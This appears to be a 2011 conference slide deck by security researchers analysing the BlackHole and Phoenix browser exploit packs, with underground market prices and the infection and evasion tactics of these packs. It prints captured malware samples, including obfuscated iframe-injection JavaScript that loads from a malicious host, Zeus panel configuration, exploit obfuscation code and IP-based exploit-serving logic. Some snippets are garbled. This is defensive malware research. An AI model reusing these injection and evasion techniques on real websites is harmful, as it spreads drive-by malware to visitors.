Browser Exploit Packs
Exploitation Paradigm (Tactics)

Death by Bundled Exploits

Virus Bulletin 2011 - Conference
5-7th October, 2011 Barcelona, Spain
Aditya K Sood | Richard J Enbody

SecNiche Security | Department of Computer Science and Engineering
Michigan State University
About Us

- **Aditya K Sood**
  - Founder, SecNiche Security
  - Independent Security Consultant, Researcher and Practitioner
  - Worked previously for Armorize, Coseinc and KPMG
  - Active Speaker at Security conferences
  - Written Content – ISSA/ISACA/CrossTalk/HITB/Hakin9/Elsevier NES|CFS
  - LinkedIn: [http://www.linkedin.com/in/adityaks](http://www.linkedin.com/in/adityaks) | @AdityaKSood
  - PhD Candidate at Michigan State University

- **Dr. Richard J Enbody**
  - Associate Professor, CSE, Michigan State University
    - Since 1987, teaching computer architecture/ computer security / mathematics
    - Website: [http://www.cse.msu.edu/~enbody](http://www.cse.msu.edu/~enbody)
  - Patents Pending – Hardware Buffer Overflow Protection
Agenda

- Underground Malware Economy
- Browser Design Agility
  - Browser Malware Taxonomy
- Experimental Design
- Browser Framework Components
- Exploitation Tactics
  - Inbuilt + Attacker Driven
- Conclusion
# Underground Malware Economy

<table>
<thead>
<tr>
<th>Product</th>
<th>Min. price</th>
<th>Max. price</th>
</tr>
</thead>
<tbody>
<tr>
<td>RAT - depending on features</td>
<td>20,00 €</td>
<td>100,00 €</td>
</tr>
<tr>
<td>Stealer - see above</td>
<td>5,00 €</td>
<td>40,00 €</td>
</tr>
<tr>
<td>Falsified ID/driving licence - depending on the quality of the forgery</td>
<td>50,00 €</td>
<td>2,500,00 €</td>
</tr>
<tr>
<td>Bot file - price depending on features and programmer</td>
<td>20,00 €</td>
<td>100,00 €</td>
</tr>
<tr>
<td>Bot source code</td>
<td>200,00 €</td>
<td>800,00 €</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Service</th>
<th>Min. price</th>
<th>Max. price</th>
</tr>
</thead>
<tbody>
<tr>
<td>Hosting - depending on scope of service, anything from web space to multiple servers</td>
<td>5,00 €</td>
<td>9,999,00 €</td>
</tr>
<tr>
<td>FUD service</td>
<td>10,00 €</td>
<td>40,00 €</td>
</tr>
<tr>
<td>DDoS attack per hour</td>
<td>10,00 €</td>
<td>150,00 €</td>
</tr>
<tr>
<td>Bot installations per 1000 - prices determined by geographic location</td>
<td>50,00 €</td>
<td>250,00 €</td>
</tr>
<tr>
<td>1 million spam emails to specific addresses, e.g. gamers are at a premium</td>
<td>300,00 €</td>
<td>800,00 €</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Data</th>
<th>Min. price</th>
<th>Max. price</th>
</tr>
</thead>
<tbody>
<tr>
<td>Databases - price depends on the precise content and scope of the database, this involves buying a database</td>
<td>10,00 €</td>
<td>250,00 €</td>
</tr>
<tr>
<td>Credit card data - prices determined by the completeness of the data. Just a card number and expiry date is not worth much. The more data is provided, the higher the price is.</td>
<td>2 €</td>
<td>300 €</td>
</tr>
<tr>
<td>1 million email addresses - verified addresses or specialist groups cost more</td>
<td>30,00 €</td>
<td>250,00 €</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Accounts</th>
<th>Min. price</th>
<th>Max. price</th>
</tr>
</thead>
<tbody>
<tr>
<td>Steam account - price determined by the volume of games installed</td>
<td>2,00 €</td>
<td>50,00 €</td>
</tr>
<tr>
<td>WoW account - depends on the scope of the data and level of the characters in the account</td>
<td>5,00 €</td>
<td>30,00 €</td>
</tr>
<tr>
<td>Pack station account - prices determined by the scope of the data provided and whether it has been faked or stolen</td>
<td>50,00 €</td>
<td>150,00 €</td>
</tr>
<tr>
<td>PayPal account - the more data there is on the account, the higher the price</td>
<td>1,00 €</td>
<td>25,00 €</td>
</tr>
<tr>
<td>Click &amp; Buy account – see above</td>
<td>10,00 €</td>
<td>35,00 €</td>
</tr>
<tr>
<td>Email account with private email - prices vary according to the dealer</td>
<td>1,00 €</td>
<td>5,00 €</td>
</tr>
</tbody>
</table>
Browsers Robust Design

Vulnerabilities
- Inherent component based design flaws
- Security issues present browser components
  - Exploitable to give complete access to system
  - Remember, JavaScript heap spraying

Three Layer Model
- Browser extensibility model
  - Add-ons (NoScript)
- Browser interoperability model
  - Plugins such as Adobe, Flash
- Browser as a Software
  - Browser executables (firefox.exe, iexplorer.exe)
  - Required dynamic link libraries

Note: Malware can impact any of the three layers as presented
Browser Malware Anatomy

Bundled Exploits

Vulnerability Exploited

Malware Hazard
Browser Malware Taxonomy

Class A

Class B

Class C
Browser Exploit Packs – Viola!
Experiments Conducted

- Target – BlackHole BEP + Phoenix BEP
  - Targets were selected using public available database
    - Malware Domain List (MDM) and Clean MX
    - Apart from these, we choose targets from forums
  - Malware Hunting
    - Web application vulnerability analysis
    - Penetration testing of malware domains
    - Traffic analysis
- Performed Tests and Extracted Results
  - Tests conducted
    - Complete analysis of BlackHole BEP and inherent design
    - Reverse engineering, deobfuscation, decoding and penetration testing
  - Extracted Results
    - Web environments that favor BlackHole
    - Techniques and tactics (Generalizing the Infection Strategies)

Note: Research Paper – Concentrated more on BlackHole BEP.
BEP Framework and Components

- **BEP Framework**
  - A complete set of bundled exploits and management interface
    - Configuration files
    - JavaScript files for fingerprinting the browser environment
      - `plugin.js`, `min.js`, `jquery.js`
  - Sibling software in use
    - **MAX Mind Geo Location Library** is used extensively
      - Traffic stats with geographical locations
      - Capturing data based on IP addresses
      - A legitimate open source library for collecting traffic statistics
    - **PHP ION Cube Encoder**
      - Almost all the BEP frameworks utilize this PHP encoder
      - Make the analysis real hard as it is damn hard to decode it
**BEP’s & Botnets Collaboration**

- **Is This True Artifact?**
  - Yes it is.
    - BEP’s are used in conjunction with botnets
    - On successful exploitation, bot is dropped into victim machine
    - Harnessing the power of two different frameworks to deliver malware
    - Some traces have been seen of ZEUS (Botnet) + BlackHole (BEP)

```php
$DBHOST = "localhost";
$DBNAME = "Zeus";
$DBUSER = "root";
$DBPASS = "pass";
$ADMINPW = "aaf4c61ddce5e8a2dabede0f3b482cd9aea9434d"; //SHA–1 Hash from your password
$ACTIVATION_PASSWORD = "suckit";
$BANTIME = 86400;
$SOUND = "Disabled";
$COUNTRIES = array("RU" => "ashrfwdogsfvxn.exe", "DE" => "ashrfwdogsfvxn.exe", "US" => "ashrfwdogsfvxn.exe");
```
BEP’s – Tactical Infections

Techniques and Tactics

(Inbuilt + Attacker Driven)
Dedicated Spidering

- Target specific information gathering
  - Unavoidable part of Advanced Persistent Threats (APT) attacks
  - It can be transformed into a remote scanning engine
    » Detecting website insecurities and vulnerabilities
  - Spidering modules are collaboratively used with BEP’s
    » A custom code used by attacker for attacking specific websites to gather information
    » Example:- BEP implements blacklisting approach
Dynamic Iframe Generators

- Exploiting technique used to infect virtual hosts
  - Typically used for injecting iframes in large number of websites
  - Traffic infection – Iframes point to BEP’s are loaded
    - 1000 websites infection → 1000 BEP’s serving exploit (Mass Exploitation)
    - BEP is hosted on the main server → infected hosts point to the source
  - BEP’s are mostly loaded with obfuscated iframes

```
Encoded
YhzRiENx,opHEBheR;YhzRiENx = CEp1PLEDd = new Array();CEp1PLEDd.
push('d@@@oo@@@@c@@@um@@');CEp1PLEDd.
push('e##int.wri#@@@e#(!');CEp1PLEDd.push('\
  @@@f@@@a-@@m');CEp1PLEDd.push('#####
e#1 sr@@@a@@=');CEp1PLEDd.push('"http://
  /92.241.164.7/');CEp1PLEDd.push('0@@@@
b@l/in##d@@@#');CEp1PLEDd.push('@@@x.
php\" wit##\"');CEp1PLEDd.push('th=\"1\"
  h###e#light\');CEp1PLEDd.push('="0\"
  @@@f@@ar@@a-@@');CEp1PLEDd.push('#m@@
e#1@@@b@@or@');CEp1PLEDd.push('#####
  c###="0"--)}>i/),CEp1PLEDd.push('@@@@@@@r@ a-@@m@@');CEp1PLEDd.push('@@@!\c');CEp1PLEDd.push('####
  };function
QnXEQ(str) { return str.replace(/([^\/g,"\]); }for (var j=0;j<CEp1PLEDd.length;j++)
{ZqhC = QnXEQ(CEp1PLEDd[j]);opHEBheR +=
  ZqhC;}YhzRiENx(opHEBheR.substr(9));
```

Decoded
```
var ZqhC,CEp1PLEDd,YhzRiENx,opHEBheR;YhzRiENx =
eval;ZqhC ="";CEp1PLEDd = new Array();CEp1PLEDd.
push('docum');CEp1PLEDd.push('ent.
write');CEp1PLEDd.push('"<iframe');CEp1PLEDd.
push('e src');CEp1PLEDd.push('"http://mali-
cious.com');CEp1PLEDd.push('0/bl/ind');CEp1PLEDd.
push('ex.php" wid');CEp1PLEDd.push('th=\"1\nheight');CEp1PLEDd.push('="0\" fra');CEp1PLEDd.
push('mebord');CEp1PLEDd.push('er=\"0"</
/i');CEp1PLEDd.push('fram');CEp1PLEDd.push('e>
');');function QnXEQ(str) { return str.re-
place('/[^/g,"\}); }for (var j=0;j<CEp1PLEDd.
length;j++) {ZqhC = QnXEQ(CEp1PLEDd[j]);opHEBheR +=
  ZqhC;}YhzRiENx(opHEBheR.substr(9));
```
Exploit Obfuscation / Encoding

- **Exploit Obfuscation**
  - Exploits are obfuscated to bypass the detection mechanisms
  - Reverse encoding, string concatenation and randomization
  - Interpreted as an exact exploit when rendered in the browser

```java
public static String b(String s)
{
    String s1 = (new StringBuilder()).append(s.replace("F", "a"))
        .replace("H", "a")
        .replace("I", "a")
        .replace("J", "a")
        .replace("K", "a")
        .replace("L", "a")
        .replace("M", "a")
        .replace("N", "a")
        .replace("O", "a")
        .replace("P", "a")
        .replace("Q", "a")
        .replace("R", "a")
        .replace("S", "a")
        .replace("T", "a")
        .replace("U", "a")
        .replace("V", "a")
        .replace("W", "a")
        .replace("X", "a")
        .replace("Y", "a")
        .replace("Z", "a")
        .append(s).toString();
    return s1;
}
```
Exploit Obfuscation / Encoding

- **BEP Framework Encoding**
  - All the exploit framework files are encoded
    - Most of the BEPs are designed in PHP.
    - Encodes all the exploits in a robust manner (efficient code protection)
      - All PHP files in BEP’s are encoded except configuration file
      - No restoration of compiled files back to source level.
      - Protection is applied at compilation time
      - Encoded files have digital signatures.
      - MAC protection enabled.
    - Exploit detection becomes hard

```php
<?php
if(!extension_loaded('ioncube loader'))($_oc=strtolower(substr($php_uname(),
0,3));$_ln="/ioncube/ioncube_loader \$_oc \$phpversion(0,3).
($__oc=='win')?\$dli':\$so';$_oid=$__id=realpath(ini_get('extension_dir'))
;$_here=dirname(\$_FILE__);if(strlen($__id)>1&$_id[1]==':')($_id=str_replace
('\\', '/', substr($_id,2));$_here=str_replace('/', '\', substr($_here,2));)
$_rd=str_repeat('\\', substr_count($__id, '\'));$_here.'/';$_i=strlen($_rd)
;while($_i--)(if($_rd[$_i]=='/')($_lp=substr($_rd,0,$_i).$_ln;if(file_exists
($_oid.$_lp))($_ln=$_lp;break())),@di($_ln);)else(di('The file _\$_FILE__:
is corrupted.\n');)if(function_exists('_\$il_exec')(){return _\$il_exec();}echo
('Site error: the file <b>_\$_FILE__</b> requires the ionCube PHP Loader '.
basename($_ln).' to be installed by the site administrator.');exit(199);
?>
```
**BEP Encoding – Example**

- **Java Skyline Exploit - Layout**
User Agent Based Fingerprinting

```javascript
function getbrowsertype() {
    var $uag = $_SERVER['HTTP_USER_AGENT'];
    if (strstr($uag, "Opera")) {
        return "Opera";
    }
    if (strstr($uag, "Firefox")) {
        return "Firefox";
    }
    if (strstr($uag, "MSIE")) {
        return "MSIE";
    }
    if (strstr($uag, "Nave")) || strstr($uag, "Netscape") {
        return "Netscape";
    }
    if (strstr($uag, "Konqueror")) {
        return "Konqueror";
    }
    if (strstr($uag, "Chrome")) {
        return "Chrome";
    }
    if (strstr($uag, "Safari")) {
        return "Safari";
    }
}
```
IP Logging Detection Trick (IPLDT)

- **What it is all about?**
  - Hampering the analysis process
    - Exploit is served only once a time to the required IP
    - BEP uses GeoLocation PHP library to keep a track of IP addresses
    - Dual infection process using Content Delivery Networks (CDN’s)
    - Appropriate check is performed before serving exploit
      - If IP is already served no more exploits are delivered
      - In other terms, no more infection to the specific IP address

```php
<?php session_start();
if (!session_is_registered("locale")) {
  // check for the session variable
  $db_con = mysql_connect('localhost', 'geo_user', 'geo_password');
  if ($db_con) {
    $ip_chk = sprintf("%u", ip2long($_SERVER['REMOTE_ADDR']));
    mysql_select_db('geo_ip', $con);
    $detect = "SELECT " FROM infected_ip WHERE $ip_chk=$inf_ip"
    if ( $ip_chk == $detect )
    { // Exploit is already served to this IP}
    else
    { // Serve Exploit to this IPAddress}
      ...............} ?>
```
Blacklisting – Anti Detection

- Blacklisting
  - Technique to prevent tracing of malware domain by analysts
    - Non legitimate usage of blacklisting approach
    - It serves very well for BEP’s.
    - Explicit declaration of domain names in the panel (file listing also provided)
      » Anti detection and no exploit serving (dual layer in addition to IPLDT)
Dynamic Storage and Mutex

- Dynamic Storage and Mutex
  - Managing the incoming connects
    - Looks for the particular IP address to verify the number of requests
    - Tracking the incoming requests and cookie tracking (Mutex implementation)
    - Primarily, avoid serving the duplicate exploits to the same machine
      » Implements the concept of worker thread when exploit is served
      » Efficient way of serving exploits through HTTP
      » Filter the victim information so that appropriate content should be served
  - Wait, till the full exploit is sent to the victim browser
    - Drive by Downloads
Polymorphic Shellcodes

- Polymorphic Shellcodes
  - Polymorphism provides multiple ways to bypass detection mechanisms
    - Self-decrypting routines are available
      - On successful exploitation, encrypted malware decrypts itself in the system
      - Encryption provides random entry points that bypass the detection modules
      - Heavily used to bypass intrusion detection systems
      - Provides multiple code execution points
  - Exploit in BEP’s: shellcodes are polymorphic in nature
Generic - Shellcode Unwrapping

JavaScript Shellcode Unwrapped

Download and Execute

Initiated Flash Player Installation

Dropped

Svchost.exe

Dropped

Usbctl.exe

Dropped

~temp.exe

Dropped

~ret_sys32.exe

Dropped

Rogue Antivirus Loader

Downloads, unpack and executes

USB Data Capturing

Downloads, unpack and executes

Trojans Key loggers

FTP Password Stealer

Instances of AV Loaders
Conclusion

— BEP - Efficient way of serving malware
— Collaborates very well with third generation botnets
— Hard to design a protection solution because
  • It exploits the default design of browsers
— Hyperlinks/ URL verification is the best solution at present.
— Its good to hunt malware for educational purposes 😊
References

— HITB - Exploiting Web Virtual Hosting – Malware Infections

— Virus Bulletin – Browser Malware Taxonomy

— BruCon Hacking Conference – Botnets and Browsers

— Hack In The Box Conference – Spying on SpyEye
  ● http://www.slideshare.net/adityaks/spying-on-spyeye-what-lies-beneath

— OWASP App Sec – Hunting Web Malware
  ● http://www.appsecusa.org/talks.html#goodhacker
Questions ?
Thanks

- SecNiche Security Labs
  - http://www.secniche.org
- Computer Science Department, Michigan State University
  - http://www.cse.msu.edu
- Virus Bulletin 2011
  - http://www.virustbn.com